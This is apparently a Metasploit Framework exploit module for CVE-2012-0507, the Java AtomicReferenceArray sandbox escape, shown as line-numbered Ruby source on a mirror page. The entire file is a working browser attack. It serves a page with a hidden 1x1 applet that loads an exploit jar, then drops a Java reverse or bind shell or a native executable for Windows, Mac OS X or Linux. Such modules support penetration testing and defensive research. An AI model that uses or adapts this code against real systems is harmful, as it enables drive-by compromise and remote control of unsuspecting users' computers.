Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_atomicreferencearray.rb
31428 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
include Msf::Exploit::Remote::BrowserAutopwn
13
autopwn_info({ javascript: false })
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
20
'Description' => %q{
21
This module exploits a vulnerability due to the fact that
22
AtomicReferenceArray uses the Unsafe class to store a reference in an
23
array directly, which may violate type safety if not used properly.
24
This allows a way to escape the JRE sandbox, and load additional classes
25
in order to perform malicious operations.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Jeroen Frijters', # Initial discovery according to his blog
30
'sinn3r', # metasploit module
31
'juan vazquez', # metasploit module
32
'egypt' # added support for older java versions
33
],
34
'References' => [
35
['CVE', '2012-0507'],
36
['OSVDB', '80724'],
37
['BID', '52161'],
38
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
39
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
40
['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
41
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],
42
['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']
43
],
44
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
45
'Targets' => [
46
[
47
'Generic (Java Payload)',
48
{
49
'Platform' => ['java'],
50
'Arch' => ARCH_JAVA
51
}
52
],
53
[
54
'Windows x86 (Native Payload)',
55
{
56
'Platform' => 'win',
57
'Arch' => ARCH_X86
58
}
59
],
60
[
61
'Mac OS X PPC (Native Payload)',
62
{
63
'Platform' => 'osx',
64
'Arch' => ARCH_PPC
65
}
66
],
67
[
68
'Mac OS X x86 (Native Payload)',
69
{
70
'Platform' => 'osx',
71
'Arch' => ARCH_X86
72
}
73
],
74
[
75
'Linux x86 (Native Payload)',
76
{
77
'Platform' => 'linux',
78
'Arch' => ARCH_X86
79
}
80
],
81
],
82
'DefaultTarget' => 0,
83
'DisclosureDate' => '2012-02-14',
84
'Notes' => {
85
'Reliability' => UNKNOWN_RELIABILITY,
86
'Stability' => UNKNOWN_STABILITY,
87
'SideEffects' => UNKNOWN_SIDE_EFFECTS
88
}
89
)
90
)
91
end
92
93
def exploit
94
# load the static jar file
95
path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-0507.jar')
96
fd = File.open(path, 'rb')
97
@jar_data = fd.read(fd.stat.size)
98
fd.close
99
100
super
101
end
102
103
def on_request_uri(cli, request)
104
data = ''
105
host = ''
106
port = ''
107
108
if !request.uri.match(/\.jar$/i)
109
if !request.uri.match(%r{/$})
110
send_redirect(cli, get_resource + '/', '')
111
return
112
end
113
114
print_status("Sending #{name}")
115
116
payload = regenerate_payload(cli)
117
if !payload
118
print_error('Failed to generate the payload.')
119
return
120
end
121
122
if target.name == 'Generic (Java Payload)'
123
if datastore['LHOST']
124
jar = payload.encoded
125
host = datastore['LHOST']
126
port = datastore['LPORT']
127
vprint_status('Sending java reverse shell')
128
else
129
port = datastore['LPORT']
130
host = cli.peerhost
131
vprint_status('Java bind shell')
132
end
133
if jar
134
print_status("Generated jar to drop (#{jar.length} bytes).")
135
jar = Rex::Text.to_hex(jar, '')
136
else
137
print_error('Failed to generate the executable.')
138
return
139
end
140
else
141
142
# NOTE: The EXE mixin automagically handles detection of arch/platform
143
data = generate_payload_exe
144
145
print_status("Generated executable to drop (#{data.length} bytes).")
146
data = Rex::Text.to_hex(data, '')
147
148
end
149
150
send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })
151
return
152
end
153
154
print_status('Sending jar')
155
send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })
156
157
handler(cli)
158
end
159
160
def generate_html(data, jar, host, port)
161
jar_name = rand_text_alpha(rand(3..8)) + '.jar'
162
163
html = '<html><head></head>'
164
html += '<body>'
165
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
166
html += "<param name=\"data\" value=\"#{data}\"/>" if data
167
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
168
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
169
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
170
html += '</applet></body></html>'
171
return html
172
end
173
174
def generate_jar
175
return @jar_data
176
end
177
end
178
179